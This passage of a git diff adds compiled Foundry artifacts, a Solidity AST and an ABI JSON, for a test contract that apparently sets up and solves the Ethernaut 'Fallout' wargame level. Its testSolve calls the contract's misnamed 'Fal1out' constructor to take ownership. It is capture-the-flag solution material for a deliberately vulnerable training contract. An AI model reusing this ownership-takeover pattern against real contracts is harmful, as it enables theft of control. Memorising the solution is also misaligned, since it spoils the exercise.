external"}},"id":60893,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"883:20:130","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60894,"nodeType":"ExpressionStatement","src":"883:20:130"},{"expression":{"id":60899,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":60895,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60846,"src":"913:9:130","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":60897,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60851,"src":"952:5:130","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":60896,"name":"getEthernautWithStatsProxy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66624,"src":"925:26:130","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$returns$_t_contract$_Ethernaut_$49101_$","typeString":"function (address) returns (contract Ethernaut)"}},"id":60898,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"925:33:130","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"src":"913:45:130","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":60900,"nodeType":"ExpressionStatement","src":"913:45:130"},{"assignments":[60903],"declarations":[{"constant":false,"id":60903,"mutability":"mutable","name":"factory","nameLocation":"981:7:130","nodeType":"VariableDeclaration","scope":60955,"src":"968:20:130","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"},"typeName":{"id":60902,"nodeType":"UserDefinedTypeName","pathNode":{"id":60901,"name":"DummyFactory","nameLocations":["968:12:130"],"nodeType":"IdentifierPath","referencedDeclaration":52145,"src":"968:12:130"},"referencedDeclaration":52145,"src":"968:12:130","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}},"visibility":"internal"}],"id":60909,"initialValue":{"arguments":[{"arguments":[{"hexValue":"46616c6c6f7574466163746f7279","id":60906,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1018:16:130","typeDescriptions":{"typeIdentifier":"t_stringliteral_76fb24e4ba4de24ed50a61a396cf728a919896a6a2766619e2ff068d997394b8","typeString":"literal_string \"FalloutFactory\""},"value":"FalloutFactory"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_76fb24e4ba4de24ed50a61a396cf728a919896a6a2766619e2ff068d997394b8","typeString":"literal_string \"FalloutFactory\""}],"id":60905,"name":"getOldFactory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66672,"src":"1004:13:130","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_string_memory_ptr_$returns$_t_address_$","typeString":"function (string memory) returns (address)"}},"id":60907,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1004:31:130","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":60904,"name":"DummyFactory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52145,"src":"991:12:130","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_DummyFactory_$52145_$","typeString":"type(contract DummyFactory)"}},"id":60908,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"991:45:130","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}},"nodeType":"VariableDeclarationStatement","src":"968:68:130"},{"expression":{"arguments":[{"arguments":[{"arguments":[{"id":60916,"name":"factory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60903,"src":"1084:7:130","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}],"id":60915,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1076:7:130","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":60914,"name":"address","nodeType":"ElementaryTypeName","src":"1076:7:130","typeDescriptions":{}}},"id":60917,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1076:16:130","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":60913,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"1070:5:130","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Level_$55508_$","typeString":"type(contract Level)"}},"id":60918,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1070:23:130","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}],"expression":{"id":60910,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60846,"src":"1046:9:130","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":60912,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1056:13:130","memberName":"registerLevel","nodeType":"MemberAccess","referencedDeclaration":48913,"src":"1046:23:130","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_contract$_Level_$55508_$returns$__$","typeString":"function (contract Level) external"}},"id":60919,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1046:48:130","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60920,"nodeType":"ExpressionStatement","src":"1046:48:130"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":60921,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1104:2:130","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":60923,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1107:9:130","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1104:12:130","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":60924,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1104:14:130","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60925,"nodeType":"ExpressionStatement","src":"1104:14:130"},{"expression":{"arguments":[{"id":60929,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60853,"src":"1143:6:130","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":60926,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1129:2:130","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":60928,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1132:10:130","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1129:13:130","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":60930,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1129:21:130","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60931,"nodeType":"ExpressionStatement","src":"1129:21:130"},{"expression":{"id":60948,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":60932,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60849,"src":"1160:8:130","typeDescriptions":{"typeIdentifier":"t_contract$_Fallout_$60839","typeString":"contract Fallout"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"arguments":[{"arguments":[{"id":60937,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60846,"src":"1207:9:130","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"arguments":[{"id":60941,"name":"factory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60903,"src":"1232:7:130","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}],"id":60940,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1224:7:130","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":60939,"name":"address","nodeType":"ElementaryTypeName","src":"1224:7:130","typeDescriptions":{}}},"id":60942,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1224:16:130","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":60938,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"1218:5:130","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Level_$55508_$","typeString":"type(contract Level)"}},"id":60943,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1218:23:130","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}},{"hexValue":"30","id":60944,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1243:1:130","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"},{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":60936,"name":"createLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66525,"src":"1187:19:130","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_contract$_Level_$55508_$_t_uint256_$returns$_t_address_$","typeString":"function (contract Ethernaut,contract Level,uint256) returns (address)"}},"id":60945,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1187:58:130","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":60935,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1179:8:130","typeDescriptions":{"typeIdentifier":"t_type$_t_address_payable_$","typeString":"type(address payable)"},"typeName":{"id":60934,"name":"address","nodeType":"ElementaryTypeName","src":"1179:8:130","stateMutability":"payable","typeDescriptions":{}}},"id":60946,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1179:67:130","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":60933,"name":"Fallout","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60839,"src":"1171:7:130","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Fallout_$60839_$","typeString":"type(contract Fallout)"}},"id":60947,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1171:76:130","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Fallout_$60839","typeString":"contract Fallout"}},"src":"1160:87:130","typeDescriptions":{"typeIdentifier":"t_contract$_Fallout_$60839","typeString":"contract Fallout"}},"id":60949,"nodeType":"ExpressionStatement","src":"1160:87:130"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":60950,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1257:2:130","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":60952,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1260:9:130","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1257:12:130","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":60953,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1257:14:130","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60954,"nodeType":"ExpressionStatement","src":"1257:14:130"}]},"functionSelector":"0a9254e4","implemented":true,"kind":"function","modifiers":[],"name":"setUp","nameLocation":"675:5:130","parameters":{"id":60854,"nodeType":"ParameterList","parameters":[],"src":"680:2:130"},"returnParameters":{"id":60855,"nodeType":"ParameterList","parameters":[],"src":"690:0:130"},"scope":61004,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":60977,"nodeType":"FunctionDefinition","src":"1530:137:130","nodes":[],"body":{"id":60976,"nodeType":"Block","src":"1557:110:130","nodes":[],"statements":[{"expression":{"arguments":[{"id":60963,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60853,"src":"1581:6:130","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":60960,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1567:2:130","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":60962,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1570:10:130","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1567:13:130","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":60964,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1567:21:130","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60965,"nodeType":"ExpressionStatement","src":"1567:21:130"},{"expression":{"arguments":[{"arguments":[{"id":60968,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60846,"src":"1630:9:130","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"id":60971,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60849,"src":"1649:8:130","typeDescriptions":{"typeIdentifier":"t_contract$_Fallout_$60839","typeString":"contract Fallout"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Fallout_$60839","typeString":"contract Fallout"}],"id":60970,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1641:7:130","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":60969,"name":"address","nodeType":"ElementaryTypeName","src":"1641:7:130","typeDescriptions":{}}},"id":60972,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1641:17:130","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_address","typeString":"address"}],"id":60967,"name":"submitLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66571,"src":"1610:19:130","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$","typeString":"function (contract Ethernaut,address) returns (bool)"}},"id":60973,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1610:49:130","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":60966,"name":"assertFalse","nodeType":"Identifier","overloadedDeclarations":[314,329],"referencedDeclaration":314,"src":"1598:11:130","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":60974,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1598:62:130","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60975,"nodeType":"ExpressionStatement","src":"1598:62:130"}]},"documentation":{"id":60957,"nodeType":"StructuredDocumentation","src":"1462:63:130","text":"@notice Check the intial state of the level and enviroment."},"functionSelector":"b5d11e99","implemented":true,"kind":"function","modifiers":[],"name":"testInit","nameLocation":"1539:8:130","parameters":{"id":60958,"nodeType":"ParameterList","parameters":[],"src":"1547:2:130"},"returnParameters":{"id":60959,"nodeType":"ParameterList","parameters":[],"src":"1557:0:130"},"scope":61004,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":61003,"nodeType":"FunctionDefinition","src":"1722:167:130","nodes":[],"body":{"id":61002,"nodeType":"Block","src":"1750:139:130","nodes":[],"statements":[{"expression":{"arguments":[{"id":60984,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60853,"src":"1774:6:130","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":60981,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1760:2:130","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":60983,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1763:10:130","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1760:13:130","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":60985,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1760:21:130","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60986,"nodeType":"ExpressionStatement","src":"1760:21:130"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":60987,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60849,"src":"1792:8:130","typeDescriptions":{"typeIdentifier":"t_contract$_Fallout_$60839","typeString":"contract Fallout"}},"id":60989,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1801:7:130","memberName":"Fal1out","nodeType":"MemberAccess","referencedDeclaration":60838,"src":"1792:16:130","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":60990,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1792:18:130","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60991,"nodeType":"ExpressionStatement","src":"1792:18:130"},{"expression":{"arguments":[{"arguments":[{"id":60994,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60846,"src":"1852:9:130","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"id":60997,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60849,"src":"1871:8:130","typeDescriptions":{"typeIdentifier":"t_contract$_Fallout_$60839","typeString":"contract Fallout"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Fallout_$60839","typeString":"contract Fallout"}],"id":60996,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1863:7:130","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":60995,"name":"address","nodeType":"ElementaryTypeName","src":"1863:7:130","typeDescriptions":{}}},"id":60998,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1863:17:130","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_address","typeString":"address"}],"id":60993,"name":"submitLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66571,"src":"1832:19:130","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$","typeString":"function (contract Ethernaut,address) returns (bool)"}},"id":60999,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1832:49:130","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":60992,"name":"assertTrue","nodeType":"Identifier","overloadedDeclarations":[287,302],"referencedDeclaration":287,"src":"1821:10:130","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":61000,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1821:61:130","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":61001,"nodeType":"ExpressionStatement","src":"1821:61:130"}]},"documentation":{"id":60978,"nodeType":"StructuredDocumentation","src":"1673:44:130","text":"@notice Test the solution for the level."},"functionSelector":"832e5fc2","implemented":true,"kind":"function","modifiers":[],"name":"testSolve","nameLocation":"1731:9:130","parameters":{"id":60979,"nodeType":"ParameterList","parameters":[],"src":"1740:2:130"},"returnParameters":{"id":60980,"nodeType":"ParameterList","parameters":[],"src":"1750:0:130"},"scope":61004,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":60840,"name":"Test","nameLocations":["364:4:130"],"nodeType":"IdentifierPath","referencedDeclaration":12027,"src":"364:4:130"},"id":60841,"nodeType":"InheritanceSpecifier","src":"364:4:130"},{"baseName":{"id":60842,"name":"Utils","nameLocations":["370:5:130"],"nodeType":"IdentifierPath","referencedDeclaration":66673,"src":"370:5:130"},"id":60843,"nodeType":"InheritanceSpecifier","src":"370:5:130"}],"canonicalName":"TestFallout","contractDependencies":[49101,56450,58028],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[61004,66673,12027,11975,6655,6330,5537,3477,2695,65,62],"name":"TestFallout","nameLocation":"349:11:130","scope":61005,"usedErrors":[],"usedEvents":[100,104,108,112,116,120,124,128,134,140,148,156,162,168,174,180,185,190,195,202,209,216]}],"license":"MIT"},"id":130} \ No newline at end of file diff --git a/contracts/out/Fallout.t.sol/TestFallout.json b/contracts/out/Fallout.t.sol/TestFallout.json new file mode 100644 index 000000000..cc1e846f7 --- /dev/null +++ b/contracts/out/Fallout.t.sol/TestFallout.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"IS_TEST","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"createLevelInstance","inputs":[{"name":"ethernaut","type":"address","internalType":"contract Ethernaut"},{"name":"level","type":"address","internalType":"contract Level"},{"name":"value","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"instance","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"createUsers","inputs":[{"name":"userNum","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"address[]","internalType":"address payable[]"}],"stateMutability":"nonpayable"},{"type":"function","name":"excludeArtifacts","inputs":[],"outputs":[{"name":"excludedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"excludeContracts","inputs":[],"outputs":[{"name":"excludedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"excludeSenders","inputs":[],"outputs":[{"name":"excludedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"failed","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"getEthernautWithStatsProxy","inputs":[{"name":"owner","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"contract Ethernaut"}],"stateMutability":"nonpayable"},{"type":"function","name":"getNextUserAddress","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address payable"}],"stateMutability":"nonpayable"},{"type":"function","name":"getOldFactory","inputs":[{"name":"contractName","type":"string","internalType":"string"}],"outputs":[{"name":"addr","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"mineBlocks","inputs":[{"name":"numBlocks","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"setUp","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"submitLevelInstance","inputs":[{"name":"ethernaut","type":"address","internalType":"contract Ethernaut"},{"name":"instance","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"targetArtifactSelectors","inputs":[],"outputs":[{"name":"targetedArtifactSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetArtifacts","inputs":[],"outputs":[{"name":"targetedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"targetContracts","inputs":[],"outputs":[{"name":"targetedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"targetInterfaces","inputs":[],"outputs":[{"name":"targetedInterfaces_","type":"tuple[]","internalType":"struct StdInvariant.FuzzInterface[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"artifacts","type":"string[]","internalType":"string[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSelectors","inputs":[],"outputs":[{"name":"targetedSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSenders","inputs":[],"outputs":[{"name":"targetedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"testInit","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"testSolve","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"event","name":"log","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_address","inputs":[{"name":"","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"int2